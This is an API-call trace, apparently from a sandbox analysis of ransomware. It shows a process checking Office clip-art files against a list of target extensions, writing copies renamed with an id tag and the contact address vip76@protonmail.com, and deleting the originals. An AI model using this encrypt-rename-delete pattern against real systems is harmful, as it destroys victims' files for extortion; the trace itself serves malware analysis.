	[0076.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.163] lstrlenW (lpString=".dbf") returned 4
	[0076.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.163] lstrlenW (lpString=".1cd") returned 4
	[0076.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.163] lstrlenW (lpString=".jpg") returned 4
	[0076.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.163] lstrlenW (lpString=".doc") returned 4
	[0076.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.163] lstrlenW (lpString=".docx") returned 5
	[0076.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.163] lstrlenW (lpString=".pdf") returned 4
	[0076.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.163] lstrlenW (lpString=".xls") returned 4
	[0076.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.163] lstrlenW (lpString=".xlsx") returned 5
	[0076.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.163] lstrlenW (lpString=".ppt") returned 4
	[0076.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.163] lstrlenW (lpString=".zip") returned 4
	[0076.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.163] lstrlenW (lpString=".rar") returned 4
	[0076.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.163] lstrlenW (lpString=".bz2") returned 4
	[0076.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.163] lstrlenW (lpString=".7z") returned 3
	[0076.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.164] lstrlenW (lpString=".dbf") returned 4
	[0076.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.164] lstrlenW (lpString=".1cd") returned 4
	[0076.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.164] lstrlenW (lpString=".jpg") returned 4
	[0076.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.164] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.164] lstrlenW (lpString="BS01080_.WMF") returned 12
	[0076.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.164] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2732) returned 1
	[0076.164] CloseHandle (hObject=0x338) returned 1
	[0076.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220
	[0076.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.165] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.165] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.169] GetLastError () returned 0x0
	[0076.169] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xaac, lpOverlapped=0x0) returned 1
	[0076.170] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xab0, lpOverlapped=0x0) returned 1
	[0076.171] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.171] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.171] SetEndOfFile (hFile=0x394) returned 1
	[0076.172] CloseHandle (hObject=0x394) returned 1
	[0076.172] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.172] SetEndOfFile (hFile=0x338) returned 1
	[0076.173] CloseHandle (hObject=0x338) returned 1
	[0076.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1
	[0076.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.174] lstrlenW (lpString=".doc") returned 4
	[0076.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.174] lstrlenW (lpString=".docx") returned 5
	[0076.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.174] lstrlenW (lpString=".pdf") returned 4
	[0076.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.174] lstrlenW (lpString=".xls") returned 4
	[0076.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.174] lstrlenW (lpString=".xlsx") returned 5
	[0076.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.174] lstrlenW (lpString=".ppt") returned 4
	[0076.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.174] lstrlenW (lpString=".zip") returned 4
	[0076.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.174] lstrlenW (lpString=".rar") returned 4
	[0076.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.174] lstrlenW (lpString=".bz2") returned 4
	[0076.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.174] lstrlenW (lpString=".7z") returned 3
	[0076.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.174] lstrlenW (lpString=".dbf") returned 4
	[0076.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.175] lstrlenW (lpString=".1cd") returned 4
	[0076.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.175] lstrlenW (lpString=".jpg") returned 4
	[0076.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.175] lstrlenW (lpString=".doc") returned 4
	[0076.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.175] lstrlenW (lpString=".docx") returned 5
	[0076.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.175] lstrlenW (lpString=".pdf") returned 4
	[0076.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.175] lstrlenW (lpString=".xls") returned 4
	[0076.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.175] lstrlenW (lpString=".xlsx") returned 5
	[0076.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.175] lstrlenW (lpString=".ppt") returned 4
	[0076.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.175] lstrlenW (lpString=".zip") returned 4
	[0076.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.175] lstrlenW (lpString=".rar") returned 4
	[0076.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.175] lstrlenW (lpString=".bz2") returned 4
	[0076.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.175] lstrlenW (lpString=".7z") returned 3
	[0076.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.176] lstrlenW (lpString=".dbf") returned 4
	[0076.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.176] lstrlenW (lpString=".1cd") returned 4
	[0076.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0076.176] lstrlenW (lpString=".jpg") returned 4
	[0076.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.176] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.176] lstrlenW (lpString="BS01603_.WMF") returned 12
	[0076.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.177] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=7176) returned 1
	[0076.177] CloseHandle (hObject=0x338) returned 1
	[0076.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220
	[0076.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.177] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.177] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.178] GetLastError () returned 0x0
	[0076.178] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1c08, lpOverlapped=0x0) returned 1
	[0076.179] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1c10, lpOverlapped=0x0) returned 1
	[0076.180] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.180] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.181] SetEndOfFile (hFile=0x394) returned 1
	[0076.181] CloseHandle (hObject=0x394) returned 1
	[0076.182] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.182] SetEndOfFile (hFile=0x338) returned 1
	[0076.182] CloseHandle (hObject=0x338) returned 1
	[0076.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1
	[0076.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.577] lstrlenW (lpString=".doc") returned 4
	[0076.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.577] lstrlenW (lpString=".docx") returned 5
	[0076.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.577] lstrlenW (lpString=".pdf") returned 4
	[0076.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.577] lstrlenW (lpString=".xls") returned 4
	[0076.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.577] lstrlenW (lpString=".xlsx") returned 5
	[0076.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.577] lstrlenW (lpString=".ppt") returned 4
	[0076.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.578] lstrlenW (lpString=".zip") returned 4
	[0076.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.578] lstrlenW (lpString=".rar") returned 4
	[0076.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.578] lstrlenW (lpString=".bz2") returned 4
	[0076.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.578] lstrlenW (lpString=".7z") returned 3
	[0076.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.578] lstrlenW (lpString=".dbf") returned 4
	[0076.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.578] lstrlenW (lpString=".1cd") returned 4
	[0076.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.578] lstrlenW (lpString=".jpg") returned 4
	[0076.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.578] lstrlenW (lpString=".doc") returned 4
	[0076.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.578] lstrlenW (lpString=".docx") returned 5
	[0076.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.578] lstrlenW (lpString=".pdf") returned 4
	[0076.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.578] lstrlenW (lpString=".xls") returned 4
	[0076.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.578] lstrlenW (lpString=".xlsx") returned 5
	[0076.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.578] lstrlenW (lpString=".ppt") returned 4
	[0076.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.579] lstrlenW (lpString=".zip") returned 4
	[0076.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.579] lstrlenW (lpString=".rar") returned 4
	[0076.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.579] lstrlenW (lpString=".bz2") returned 4
	[0076.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.579] lstrlenW (lpString=".7z") returned 3
	[0076.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.579] lstrlenW (lpString=".dbf") returned 4
	[0076.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.579] lstrlenW (lpString=".1cd") returned 4
	[0076.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0076.579] lstrlenW (lpString=".jpg") returned 4
	[0076.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.579] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.579] lstrlenW (lpString="CRANINST.WMF") returned 12
	[0076.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.579] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=49546) returned 1
	[0076.580] CloseHandle (hObject=0x338) returned 1
	[0076.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220
	[0076.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.580] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.580] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0076.580] GetLastError () returned 0x0
	[0076.580] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xc18a, lpOverlapped=0x0) returned 1
	[0076.583] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xc190, lpOverlapped=0x0) returned 1
	[0076.584] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.584] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.584] SetEndOfFile (hFile=0x364) returned 1
	[0076.585] CloseHandle (hObject=0x364) returned 1
	[0076.586] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.586] SetEndOfFile (hFile=0x338) returned 1
	[0076.587] CloseHandle (hObject=0x338) returned 1
	[0076.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1
	[0076.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.588] lstrlenW (lpString=".doc") returned 4
	[0076.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.588] lstrlenW (lpString=".docx") returned 5
	[0076.588] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0076.588] lstrlenW (lpString=".pdf") returned 4
	[0076.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.588] lstrlenW (lpString=".xls") returned 4
	[0076.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.588] lstrlenW (lpString=".xlsx") returned 5
	[0076.588] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0076.588] lstrlenW (lpString=".ppt") returned 4
	[0076.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.588] lstrlenW (lpString=".zip") returned 4
	[0076.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.588] lstrlenW (lpString=".rar") returned 4
	[0076.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.589] lstrlenW (lpString=".bz2") returned 4
	[0076.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.589] lstrlenW (lpString=".7z") returned 3
	[0076.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.589] lstrlenW (lpString=".dbf") returned 4
